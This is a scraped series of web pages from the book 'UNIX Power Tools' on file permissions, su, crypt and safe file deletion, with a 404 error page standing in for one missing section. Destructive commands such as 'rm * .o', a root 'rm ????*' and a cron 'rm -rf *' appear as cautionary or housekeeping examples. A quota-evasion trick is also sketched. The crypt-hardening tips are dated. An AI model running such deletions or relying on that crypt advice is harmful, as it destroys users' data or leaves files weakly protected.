What happened? Well, I gave read and write permission to the file's group, but val doesn't belong to that group. You can find out the group a file belongs to using the -lg option to ls (this is the default on System V when you type ls -l):

val % ls -lg ch01
-rw-rw----  1 lmui     power          13727 Sep 21 07:43 ch01

groups
 You can use the groups command (the GNU version is on the CD-ROM) to find out what groups a user belongs to:

% groups val
val : authors ora
% groups lmui
lmui : authors power wheel ora

The ch01 file belongs to group power. val isn't a member of this group, but both lmui and val are in the authors group. To give val access to the file ch01, therefore, I need to put the file in group authors. To do that, I use the chgrp (1.23) command:

lmui % chgrp authors ch01
lmui % ls -lg ch01
-rw-rw----  1 lmui     authors        13727 Sep 21 07:43 ch01

Now val can read and write the file. (On System V systems, she may need to run newgrp (22.13) first.)

- LM

Previous: 22.14 Add Users to a Group to Deny Permission | UNIX Power Tools | Next: 22.16 Copying Permissions with cpmod
22.14 Add Users to a Group to Deny Permission | Book Index | 22.16 Copying Permissions with cpmod
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.16 Copying Permissions with cpmod

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.15 Juggling Permissions Chapter 22
File Security, Ownership, and Sharing 		Next: 22.17 Ways of Improving the Security of crypt

22.16 Copying Permissions with cpmod

A utility to help facilitate permission juggling is cpmod. This program lets you copy the group ownership and permission modes of one file to another.

For example, suppose you just juggled permissions (22.15) using chmod and chgrp to give another user access to a file called ch01, and now she wants permission for three more files in the same directory. You could repeat the process, or you could just use cpmod to copy the permissions from the first file:

[..]

% ls -lg ch01
-rw-rw----  1 lmui     authors        13727 Sep 21 07:43 ch01
% ls -lg ch0[234]
-rw-------  1 lmui     book           34020 Oct 15 11:13 ch02
-rw-r-----  1 lmui     acct           11207 Oct 13 09:49 ch03
-rw-r--r--  1 lmui     book           29239 Oct 07 18:12 ch03
% cpmod ch01 ch0[234]
% ls -lg ch0?
-rw-rw----  1 lmui     authors        13727 Sep 21 07:43 ch01
-rw-rw----  1 lmui     authors        34020 Sep 21 07:43 ch02
-rw-rw----  1 lmui     authors        11207 Sep 21 07:43 ch03
-rw-rw----  1 lmui     authors        29239 Sep 21 07:43 ch04

Use cpmod to say, "Make these files just like this other one."

In this example, we used it to quickly give write permission to several files at once. But notice that the new files also inherit the same modification times. This is another feature of cpmod, which comes in useful for programmers and other users of make (28.13). The make program uses modification dates on files to determine whether it should recompile source code. cpmod provides a way to manipulate the modification dates when you need to. Article 21.7 explains the version of the touch command that can set a file to have any modification date.

- LM

Previous: 22.15 Juggling Permissions | UNIX Power Tools | Next: 22.17 Ways of Improving the Security of crypt
22.15 Juggling Permissions | Book Index | 22.17 Ways of Improving the Security of crypt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.17 Ways of Improving the Security of crypt

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.16 Copying Permissions with cpmod Chapter 22
File Security, Ownership, and Sharing 		Next: 22.18 Clear Your Terminal for Security, to Stop Burn-in

22.17 Ways of Improving the Security of crypt

Files encrypted with crypt are exceedingly easy for a cryptographer to break. For several years, it has been possible for noncryptographers to break messages encrypted with crypt as well, thanks to a program developed in 1986 by Robert Baldwin at the MIT Laboratory for Computer Science. Baldwin's program, Crypt Breaker's Workbench (cbw), automatically decrypts text files encrypted with crypt within a matter of minutes.

cbw has been widely distributed; as a result, files encrypted with crypt should not be considered secure. (They weren't secure before cbw was distributed; fewer people simply had the technical skill necessary to break them.)

Although we recommend that you do not use crypt to encrypt files more than 1 k long. Nevertheless, you may have no other encryption system readily available to you. If this is the case, you are better off using crypt than nothing at all. You can also take a few simple precautions to decrease the chances that your encrypted files will be decrypted:

  • Encrypt the file multiple times, using different keys at each stage. This essentially changes the transformation.

  • Compress (24.7) your files before encrypting them. Compressing a file alters the information - the plain ASCII (51.3) text - that programs such as cbw use to determine when they have correctly assembled part of the encryption key. If your message does not decrypt into plain text, cbw will not determine when it has correctly decrypted your message. However, if your attackers know you have done this, they can modify their version of cbw accordingly.

  • If you use compress or pack to compress your file, remove the three-byte header. Files compressed with compress contain a three-byte signature, or header, consisting of the hexadecimal values 1f, 9d, and 90 (in that order). If your attacker believes that your file was compressed before it was encrypted, knowing how the first three bytes decrypt can help him to decrypt the rest of the file. You can strip these three bytes with the dd (35.6) command: [2]

    [2] Using dd this way is very slow and inefficient. If you are going to be encrypting a lot of compressed files, you may wish to write a small program to remove the header more efficiently.

    % compress -c <plain | dd bs=3 skip=1 | crypt >encrypted

    Of course, you must remember to replace the three-byte header before you attempt to uncompress the file. You can get a header by compressing /dev/null (13.14):

    ( )
    % (compress -cf /dev/null;crypt <encrypted) | uncompress -c >plain

  • If you do not have compress, use tar (19.5) to bundle your file to be encrypted with other files containing random data; then encrypt the tar file. The presence of random data will make it more difficult for decryption programs such as cbw to isolate your plain text.

- SG, GS

Previous: 22.16 Copying Permissions with cpmod | UNIX Power Tools | Next: 22.18 Clear Your Terminal for Security, to Stop Burn-in
22.16 Copying Permissions with cpmod | Book Index | 22.18 Clear Your Terminal for Security, to Stop Burn-in
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.18 Clear Your Terminal for Security, to Stop Burn-in

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.17 Ways of Improving the Security of crypt Chapter 22
File Security, Ownership, and Sharing 		Next: 22.19 Shell Scripts Must be Readable and (Usually) Executable

22.18 Clear Your Terminal for Security, to Stop Burn-in

The clear command reads your termcap or terminfo (5.2) entry to find out how to erase your screen, then it sends that command. If you're typing something confidential that other people shouldn't read, just type clear at a shell prompt when you can. Many UNIX programs let you do a shell escape (30.26) to run a single UNIX command - you can clear your screen that way, by typing something like !clear from inside the program.

NOTE: Some terminals and window systems have memories - scrolling buffers that save previous screens or the current one. The clear command probably won't clear those. Check your manual to find out how - or, if you're desperate, log off UNIX, then turn off your screen's power for a minute.

If you leave your desk for a long meeting or for the day, then remember that you didn't erase your screen, you can probably clear your screen from another user's terminal. (If your system has the tty-group-write protection (22.13), then you'll have to log in or su (22.22) to your account from the other terminal first.) If the other terminal has the same terminal type, use the command:

who

% who | grep yourname
yourname    ttyp3   Jun 24 10:44
% clear > /dev/ttyp3

If you're on a different type of terminal, you'll need to set the TERM environment variable temporarily (6.10) before you use that command.

- JP

Previous: 22.17 Ways of Improving the Security of crypt | UNIX Power Tools | Next: 22.19 Shell Scripts Must be Readable and (Usually) Executable
22.17 Ways of Improving the Security of crypt | Book Index | 22.19 Shell Scripts Must be Readable and (Usually) Executable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.19 Shell Scripts Must be Readable and (Usually) Executable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.18 Clear Your Terminal for Security, to Stop Burn-in Chapter 22
File Security, Ownership, and Sharing 		Next: 22.20 Why Can't You Change File Ownership Under BSD UNIX?

22.19 Shell Scripts Must be Readable and (Usually) Executable

Almost everyone knows that you need to make a program file executable - otherwise, UNIX won't execute it. Well, that's true for directly executable binary files like C and Pascal programs, but it's not quite true for interpreted programs like shell scripts.

The UNIX kernel can read an executable binary directly - if there's execute permission, the kernel is happy; it doesn't need read permission. But a shell script has to be read by a user's UNIX program (a shell). To read a file, any UNIX program has to have read permission. So, shell scripts must be readable.

Shell scripts don't need execute permission if you start the shell and give it the script file to read:

% sh scriptfile
% sh < scriptfile

The execute permission is a signal to the kernel that it can try to execute the file when you type only the filename:

% scriptfile

So shell scripts don't need to be executable - it's just handy.

- JP

Previous: 22.18 Clear Your Terminal for Security, to Stop Burn-in | UNIX Power Tools | Next: 22.20 Why Can't You Change File Ownership Under BSD UNIX?
22.18 Clear Your Terminal for Security, to Stop Burn-in | Book Index | 22.20 Why Can't You Change File Ownership Under BSD UNIX?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.20 Why Can't You Change File Ownership Under BSD UNIX?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.19 Shell Scripts Must be Readable and (Usually) Executable Chapter 22
File Security, Ownership, and Sharing 		Next: 22.21 How to Change File Ownership Without chown

22.20 Why Can't You Change File Ownership Under BSD UNIX?

[Chris is explaining why Berkeley UNIX systems allow only root (1.24) to change a file's ownership. If you need to change ownership, there is a workaround (22.21). - JP]

This restriction is not bogus, because the system supports disk quotas (24.17). If you could give away your own files, you could:

mkdir .hide; chmod 700 .hide
cd .hide
create_huge_file >foo
chown prof1 foo
create_huge_file >bar
chown prof2 bar
create_huge_file >baz
chown prof3 baz

All you would need do is find someone with a high quota or no quota (such as a professor) who does not often check his own usage (such as a professor) and probably does not care that the disk is 99 percent full (such as a, er, well, never mind), and then give away files as necessary to keep under your own quota. You could regain ownership of the file by copying it to another disk partition, removing the original, and copying it back.

- CT in comp.unix.questions on Usenet, 6 July 1989

Previous: 22.19 Shell Scripts Must be Readable and (Usually) Executable | UNIX Power Tools | Next: 22.21 How to Change File Ownership Without chown
22.19 Shell Scripts Must be Readable and (Usually) Executable | Book Index | 22.21 How to Change File Ownership Without chown
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.21 How to Change File Ownership Without chown

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.20 Why Can't You Change File Ownership Under BSD UNIX? Chapter 22
File Security, Ownership, and Sharing 		Next: 22.22 The su Command Isn't Just for the Superuser

22.21 How to Change File Ownership Without chown

UNIX systems with disk quotas (24.17) won't let you change the owner (22.20) of a file; only the superuser can use chown. Here's a workaround for those systems.

  1. The file's current owner should make sure that the new owner has write permission on the directory where the file is and read permission on the file itself:

    jerry% ls -ld . afile
drwxr-xr-x   2 jerry    512  Aug 10 12:20 .
-rw-r--r--   1 jerry   1934  Aug 10 09:34 afile
jerry% chmod go+w .

  2. The new owner (logged in as herself) should rename the file, make a copy, and delete the original file. If the new owner is there at the same time, su (22.22) is probably the fastest way to change accounts:

-f

    jerry% su laura
Password:
laura% mv afile afile.tmp
laura% cp -p afile.tmp afile
laura% ls -l afile
-rw-r--r--   1 laura   1934  Aug 10 09:34 afile
laura% rm -f afile.tmp
laura% exit
jerry% chmod go-w .

The cp -p (18.15) command preserves the file's original permissions and last modification time. After the new owner (laura) is done copying, the old owner (jerry) takes away the directory's write permission again.

- JP

Previous: 22.20 Why Can't You Change File Ownership Under BSD UNIX? | UNIX Power Tools | Next: 22.22 The su Command Isn't Just for the Superuser
22.20 Why Can't You Change File Ownership Under BSD UNIX? | Book Index | 22.22 The su Command Isn't Just for the Superuser
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 22] 22.22 The su Command Isn't Just for the Superuser

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.21 How to Change File Ownership Without chown Chapter 22
File Security, Ownership, and Sharing 		Next: 23. Removing Files

22.22 The su Command Isn't Just for the Superuser

System administrators use the su command to become the superuser (1.24). But you can use it for lots more:

  • Become another user temporarily, without logging off your account.

  • Become another user without tying up another terminal port.

  • Switch between multiple users any time (on systems with job control).

  • Do a "quick login" to another user's account, especially when the system is busy.

When you type:

youraccount% su whoever
Password:
whoever%

UNIX starts a subshell (38.4) that runs as the user whoever. After you use the cd command to go to the user's home directory, you can run commands as if you'd logged into that account (more or less... see below).

22.22.1 Ending or Suspending

End the subshell and go back to the account where you typed su with the exit (38.4) command or a CTRL-d.

Or, on systems with job control (12.8), you can stop the subshell temporarily and go back to the account where you started the su. To do that, type suspend if whoever's shell has job control (most shells do); otherwise, enter CTRL-z at the shell prompt.

NOTE: If the su subshell doesn't have job control but your starting shell does, entering CTRL-z to any command you run from the subshell will stop the command and the subshell.

You can use suspend to start multiple su sessions from the same shell. You can go back to your original login, from any of those sessions, without losing your shell history, current directory, etc. Because these shells run on the same tty (3.8) as your login shell, su doesn't tie up other tty/pty ports like multiple logins or multiple windows can. This is helpful on busy machines with lots of users.

On any UNIX system, you can type exit (or use CTRL-d) to go back to the original login. But on systems with job control, you can su to several other users and jump back to your original login at any time. Job control lets you suspend an su and go back to the place you left off without typing another su (and password). Many shells have a suspend command that lets you do that. On other shells, you may be able to enter CTRL-z (your job suspend character) or make a command alias (10.4) to stop the current shell:

kill $$
alias suspend='kill -STOP $$'

Here's a demo. I'm logged in to the account jerry on the computer wheeze. I've sued to the superuser, sarah, and manuals accounts, too. I'm using job control to switch users:

jerry@wheeze% jobs
[1]    Stopped      su
[2] -  Stopped      su sarah
[3] +  Stopped      su manuals
jerry@wheeze% fg
su manuals
   ...Do stuff as manuals...
manuals@wheeze% suspend
Stopped
jerry@wheeze% fg %1
su
wheeze#
   ...Do stuff as root...
wheeze# suspend
Stopped
jerry@wheeze%

I use that so much that I've made a single-letter alias (10.2) named z that does a suspend.

22.22.2 Who Are You Now?

whoami
id
It's easier to jump between accounts if the shells' prompts (7.1) have the username in them, as shown above. If not, use the command whoami or id to see which user you are. Your system should have one or both; both GNU versions are on the CD-ROM. Also, to see your original login name (the account where you started the su), try who am i (with spaces).

22.22.3 Problems You Might Have

Some System V versions don't change the environment variable HOME (LOGDIR) (14.11) to the right value for the account you su to. That means a cd command will take you to the home directory of your original login, not the home directory of your sued account. Also, a C shell you start on the other account won't read your .cshrc file. The best fix for that is a shell script named su that sets the variable for you. The script is run by the C shell :-( (47.2) because csh has the ~ (tilde) operator (14.11) for finding the account's home directory. Add this script to a directory before /bin in your path (8.7) or make an alias or shell function that runs the script instead of the standard su.

x !~

exec :q

#!/bin/csh -f
# su - fix incorrect $HOME and USER with system 'su' command
foreach arg ($argv)
   # find first non-option argument
   if ("x$arg" !~ x-*) then
      setenv HOME ~$arg
      setenv USER $arg
      exec /bin/su $argv:q
   endif
end
echo "$0 ERROR: can't find username."
exit 1

Another workaround for that is an alias with the name of the account I'm suing to:

(..)
alias randi '(setenv HOME ~randi; setenv USER randi; su randi)'

There's another problem that can happen on any version of UNIX: the account you su to doesn't have permission (22.2) to access the current directory where you ran the su command. Then, you may get an error like getwd: can't stat . from the C shell on the account you su to. Or you may get no error but the su will fail. The fix for both problems is to cd to a world-access directory like / or /tmp before you run su. An alias can make that easy:

\su
alias su '(cd /; \su \!*)'

You can also add the cd / command to this shell script if you want.

If the account you su to runs the C shell (and you don't use the -f option--see below), it will read the .cshrc file. If that .cshrc has hardcoded pathnames or commands that only the other account can run, the commands might fail. That can cause a variety of "fun" problems. Try replacing hardcoded pathnames like /home/oldacct/bin with paths that use account-specific variables like $home/bin, ~/bin, and so on.

Plain su whoever doesn't read a C shell user's .login file or a Bourne shell user's .profile. Using su - whoever (see the section "Other su Features" at the end of this chapter) solves that, but you can't suspend an su - shell (at least not on my systems).

Finally, because the su command runs in a subshell (38.4), environment variables (6.1) set in the account you su from will be passed into the subshell. That can be good or bad. For instance, your favorite EDITOR (6.3) (vi, Emacs, or whatever) can be passed to the account you su to. But that account might also set a variable that you want to use. If you're wondering what's set after you su, type set for a list of shell variables, and either env or printenv (6.1) to see environment variables.

22.22.4 Quick Changes to Other Accounts

If your system is busy, it can take time to run through all the commands in the other user's .cshrc file. The su command can pass arguments to the subshell it starts, though. If the other account uses C shell, the -f option tells it not to read the .cshrc file (for example, su -f whoever). You won't get that account's .cshrc setup, but you will start to work on it sooner.

If logging in on your system takes a long time and you want to switch to another account permanently, you can exec (45.7) the su command:

% exec su whoever

That makes a weird situation where the who (51.4) command will show you logged on as your original account, but you'll be running as whoever (the whoami or id command will tell you that). Also, because the su shell isn't a login shell (2.8), the logout command won't work; you'll need to type exit instead. So, exec su is a little tricky-but it's fast.

22.22.5 Other su Features

The command su -e, which may also be called su -m or su -p, switches to the other user's account but keeps the environment you have now. That's handy when you're having trouble with the other user's environment or want to keep your own. (Some sus do -m by default, more or less. Use env or printenv (6.1) to see what you get.)

The command su - simulates a full login to the other account. If the other account runs the Bourne shell, the .profile will be read. For the C shell, both .cshrc and .login will be read. You can't suspend a su - subshell. When you log out though, you'll be back in your original account's shell.

- JP

Previous: 22.21 How to Change File Ownership Without chown | UNIX Power Tools | Next: 23. Removing Files
22.21 How to Change File Ownership Without chown | Book Index | 23. Removing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] Removing Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 22.22 The su Command Isn't Just for the Superuser Chapter 23 Next: 23.2 rm and Its Dangers

23. Removing Files

Contents:
The Cycle of Creation and Destruction
rm and Its Dangers
Tricks for Making rm Safer
Answer "Yes" or "No" Forever with yes
Remove Some, Leave Some
A Faster Way to Remove Files Interactively
Safer File Deletion in Some Directories
Safe Delete: Pros and Cons
delete: Protecting Files from Accidental Deletion
Deletion with Prejudice: rm -f
Deleting Files with Odd Names
Using Wildcards to Delete Files with Strange Names
Deleting Files with the Null Name
Handling a Filename Starting with a Dash (-)
Using unlink to Remove a File with a Strange Name
Removing a Strange File by its I-number
Problems Deleting Directories
How Making and Deleting Directories Works
Deleting (BSD) Manual Pages that Aren't Read
Deleting Stale Files
Removing Every File but One
Using find to Clear Out Unneeded Files

23.1 The Cycle of Creation and Destruction

As a computer user, you spend lots of time creating files. Just as the necessary counterpart of life is death, the other side of file creation is deletion. If you never delete any files, you soon have a computer's equivalent of a population explosion: your disks get full, and you have to either spend money (buy and install more disk drives) or figure out which files you don't really need.

In this chapter, we'll talk about ways to get rid of files: how to do it safely, how to get rid of files that don't want to die, and how to find "stale" files, or unused files that have been around for a long time. "Safe" deletion is a particularly interesting topic, because UNIX's rm command is extreme: once you delete a file, it's gone permanently. There are several solutions for working around this problem, letting you (possibly) reclaim files from the dead.

- ML

Previous: 22.22 The su Command Isn't Just for the Superuser | UNIX Power Tools | Next: 23.2 rm and Its Dangers
22.22 The su Command Isn't Just for the Superuser | Book Index | 23.2 rm and Its Dangers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.2 rm and Its Dangers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.1 The Cycle of Creation and Destruction Chapter 23
Removing Files 		Next: 23.3 Tricks for Making rm Safer

23.2 rm and Its Dangers

Under UNIX, you use the rm command to delete files. The command itself is simple enough; you just type rm followed by a list of files. If anything, rm is too simple. It's easy to delete more than you want, and once something is gone, it's permanently gone. There are a few hacks that make rm somewhat safer, and we'll get to those momentarily. But first, a lecture on some of the dangers.

To understand why it's impossible to reclaim deleted files, you need to know a bit about how the UNIX filesystem works. The system contains a "free list," which is a list of disk blocks that aren't used. When you delete a file, its directory entry (which gives it its name) is removed. If there are no more links (18.3) to the file (i.e., if the file only had one name), its inode (1.22) is added to the list of free inodes, and its datablocks are added to the free list.

Well, why can't you get the file back from the free list? After all, there are DOS utilities that can reclaim deleted files by doing something similar. Remember, though, UNIX is a multi-tasking operating system. Even if you think your system is a single-user system, there are a lot of things going on "behind your back": daemons are writing to log files, handling network connections, processing electronic mail, and so on. You could theoretically reclaim a file if you could "freeze" the filesystem the instant your file was deleted - but that's not possible. With UNIX, everything is always active. By the time you realize you made a mistake, your file's data blocks may well have been re-used for something else.

When you're deleting files, it's particularly important to use wildcards carefully. Simple typing errors can have disastrous consequences. Let's say you want to delete all your object (.o) files. But because of a nervous twitch, you add an extra space and type:

% rm * .o

It looks right, and you might not even notice the error. But before you know it, all the files in the current directory will be gone. Irretrievably.

If you don't think this can happen to you, here's something that actually did happen to me. At one point, when I was a relatively new UNIX user, I was working on my company's business plan. The executives thought that, to be "secure," they'd set a business plan's permissions so you had to be root (1.24) to modify it. (A mistake in its own right, but that's another story.) I was using a terminal I wasn't familiar with, and accidentally managed to create a bunch of files with four control characters at the beginning of their name. To get rid of these, I typed (as root):

# rm ????*

This command took a long time to execute. When about two-thirds of the directory was gone, I realized (with horror) what was happening: I was deleting all files with four or more characters in the filename.

The story got worse. They hadn't made a backup in about five months. (By the way, this article should give you plenty of reasons for making regular backups (20.2).) By the time I had restored the files I had deleted (a several-hour process in itself; this was on an ancient version of UNIX with a horrible backup utility) and checked (by hand) all the files against our printed copy of the business plan, I had resolved to be very careful with my rm commands.

- ML

Previous: 23.1 The Cycle of Creation and Destruction | UNIX Power Tools | Next: 23.3 Tricks for Making rm Safer
23.1 The Cycle of Creation and Destruction | Book Index | 23.3 Tricks for Making rm Safer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/unix/upt/ch23_03.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 23] 23.4 Answer "Yes" or "No" Forever with yes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.3 Tricks for Making rm Safer Chapter 23
Removing Files 		Next: 23.5 Remove Some, Leave Some

23.4 Answer "Yes" or "No" Forever with yes

Some commands - like rm -i, find -ok, and so on - ask users to answer a "do it or not?" question from the keyboard. For example, you might use a file-deleting program named del that asks before deleting each file:

% del *
Remove file1? y
Remove file2? y
   ...

If you answer y, then the file will be deleted.

What if you want to run a command that's going to ask you 200 questions and you want to answer y to all of them, but you don't want to type all those y's in from the keyboard? Pipe the output of yes to the command; it will answer y for you:

% yes | del *
Remove file1?
Remove file2?
   ...

If you want to answer n to all the questions, you can do:

% yes n | del *

NOTE: Not all UNIX commands read their standard input for answers to prompts. If a command opens your terminal (/dev/tty (45.20)) directly to read your answer, yes won't work. Try expect (9.26) instead.

yes
 yes knows how to say more than just y or n. Article 42.7 shows how to test a terminal with yes.

The CD-ROM has GNU's yes.

- JP

Previous: 23.3 Tricks for Making rm Safer | UNIX Power Tools | Next: 23.5 Remove Some, Leave Some
23.3 Tricks for Making rm Safer | Book Index | 23.5 Remove Some, Leave Some
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.5 Remove Some, Leave Some

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.4 Answer "Yes" or "No" Forever with yes Chapter 23
Removing Files 		Next: 23.6 A Faster Way to Remove Files Interactively

23.5 Remove Some, Leave Some

Most people use rm -i (21.11) for safety: so they're always asked for confirmation before removing a particular file. Mike Loukides told me about another way he uses rm -i. When he has several files to remove, but the wildcards (1.16) would be too painful to type with a plain rm, Mike gives rm -i a bigger list of filenames and answers "n" to filenames he doesn't want deleted. For instance:

% ls
aberrant    abhorred    abnormal     abominate   acerbic
aberrate    abhorrent   abominable   absurd      acrimonious
    ...
% rm -i ab*
rm: remove aberrant (y/n)? y
rm: remove aberrate (y/n)? n
rm: remove abhorred (y/n)? y
rm: remove abhorrent (y/n)? n
    ...

- JP

Previous: 23.4 Answer "Yes" or "No" Forever with yes | UNIX Power Tools | Next: 23.6 A Faster Way to Remove Files Interactively
23.4 Answer "Yes" or "No" Forever with yes | Book Index | 23.6 A Faster Way to Remove Files Interactively
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.6 A Faster Way to Remove Files Interactively

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.5 Remove Some, Leave Some Chapter 23
Removing Files 		Next: 23.7 Safer File Deletion in Some Directories

23.6 A Faster Way to Remove Files Interactively

[The rm -i command asks you about each file, separately. The method in this article can give you the safety without the hassle of typing y as much. -JP]

Another approach, which I recommend, is that you create a new script or alias, and use that alias whenever you delete files. Call the alias del or Rm, for instance. This way, if you ever execute your special delete command when it doesn't exist, no harm is done - you just get an error. If you get into this habit, you can start making your delete script smarter. Here is one that asks you about each file if there are three or less files specified. For more than three files, it displays them all and asks you once if you wish to delete them all:

#!/bin/sh
case $# in
0)     echo "`basename $0`: you didn't say which file(s) to delete"; exit 1;;
[123]) /bin/rm -i "$@" ;;
*)     echo "$*"
       echo do you want to delete these files\?
       read a
       case "$a" in
       [yY]*) /bin/rm "$@" ;;
       esac
       ;;
esac

- BB

Previous: 23.5 Remove Some, Leave Some | UNIX Power Tools | Next: 23.7 Safer File Deletion in Some Directories
23.5 Remove Some, Leave Some | Book Index | 23.7 Safer File Deletion in Some Directories
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.7 Safer File Deletion in Some Directories

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.6 A Faster Way to Remove Files Interactively Chapter 23
Removing Files 		Next: 23.8 Safe Delete: Pros and Cons

23.7 Safer File Deletion in Some Directories

Using noclobber (13.6) and read-only files only protects you from a few occasional mistakes. A potentially catastrophic error is typing:

% rm * .o

instead of:

% rm *.o

In the blink of an eye, all of your files would be gone. A simple, yet effective, preventive measure is to create a file called -i in the particular directory in which you want extra protection:

touch ./-
% touch ./-i

In the above case, the * is expanded to match all of the filenames in the directory. Because the file -i is alphabetically listed (51.3) before any file except those that start with one of these characters: !#$%&`()*+,, the rm command sees the -i file as a command-line argument. When rm is executed with its -i option (21.11), files will not be deleted unless you verify the action. This still isn't perfect. If you have a file that starts with a comma (,) in the directory, it will come before the file starting with a dash, and rm will not get the -i argument first.

The -i file also won't save you from errors like:

% rm [a-z]* .o

[Two comments about Bruce's classic and handy tip: first, if lots of users each make a -i file in each of their zillions of subdirectories, that could waste a lot of disk inodes (1.22). It might be better to make one -i file in your home directory and hard link (24.4) the rest to it, like:

~
% cd
% touch ./-i
% cd somedir
% ln ~/-i .
   ...

Second, to save disk blocks, make sure the -i file is zero-length - use the touch command, not vi or some other command that puts characters in the file. -JP ]

- BB

Previous: 23.6 A Faster Way to Remove Files Interactively | UNIX Power Tools | Next: 23.8 Safe Delete: Pros and Cons
23.6 A Faster Way to Remove Files Interactively | Book Index | 23.8 Safe Delete: Pros and Cons
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.8 Safe Delete: Pros and Cons

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.7 Safer File Deletion in Some Directories Chapter 23
Removing Files 		Next: 23.9 delete: Protecting Files from Accidental Deletion

23.8 Safe Delete: Pros and Cons

To protect themselves from accidentally deleting files, some users create a "trash" directory somewhere, and then write a "safe delete" program that, instead of rming a file, moves it into the trash directory. The implementation can be quite complex, but a simple alias will do most of what you want:

alias del "mv \!* ~/trash"

Of course, now your deleted files collect in your trash directory, so you have to clean that out from time to time. You can do this either by hand or automatically, via a cron (40.12) entry like:

&& -r
23 2 * * * cd $HOME/trash && rm -rf *

This deletes everything in the trash directory at 2:23 a.m. daily. To restore a file that you deleted, you have to look through your trash directory by hand and put the file back in the right place. That may not be much more pleasant than poking through your garbage to find the tax return you threw out by mistake, but (hopefully) you don't make lots of mistakes.

There are plenty of problems with this approach. Obviously, if you delete two files with the same name in the same day, you're going to lose one of them. A shell script could (presumably) handle this problem, though you'd have to generate a new name for the deleted file. There are also lots of nasty side effects and "gotchas," particularly if you want an rm -r equivalent, if you want this approach to work on a network of workstations, or if you use it to delete files that are shared by a team of users.

Unfortunately, this is precisely the problem. A "safe delete" that isn't really safe may not be worth the effort. A safety net with holes in it is only good if you can guarantee in advance that you won't land in one of the holes. You can patch some of the holes by replacing this simple alias with a shell script. But you can't fix all of them. For a real solution, see Jonathan Kamens' article on delete (23.9).

- ML

Previous: 23.7 Safer File Deletion in Some Directories | UNIX Power Tools | Next: 23.9 delete: Protecting Files from Accidental Deletion
23.7 Safer File Deletion in Some Directories | Book Index | 23.9 delete: Protecting Files from Accidental Deletion
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.9 delete: Protecting Files from Accidental Deletion

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.8 Safe Delete: Pros and Cons Chapter 23
Removing Files 		Next: 23.10 Deletion with Prejudice: rm -f

23.9 delete: Protecting Files from Accidental Deletion

The problem of protecting users from accidental file deletion is one that many people have encountered, and therefore there are many solutions of different types already implemented and available. Which solution you choose depends on the features you want it to have and on how you want it to do its job. Many people do not use the shell-script solutions described above (23.8), because they are too slow or too unreliable or because they don't allow deleted files to be recovered for long enough.

For example, Purdue University runs a large network of many different machines that utilize some local file space and some NFS (1.33) file space. Their file recovery system, entomb, replaces certain system calls (for example, open(2), unlink(2)) with entomb functions that check to see if a file would be destroyed by the requested system call; if so, the file is backed up (by asking a local or remote entomb daemon to do so) before the actual system call is performed.

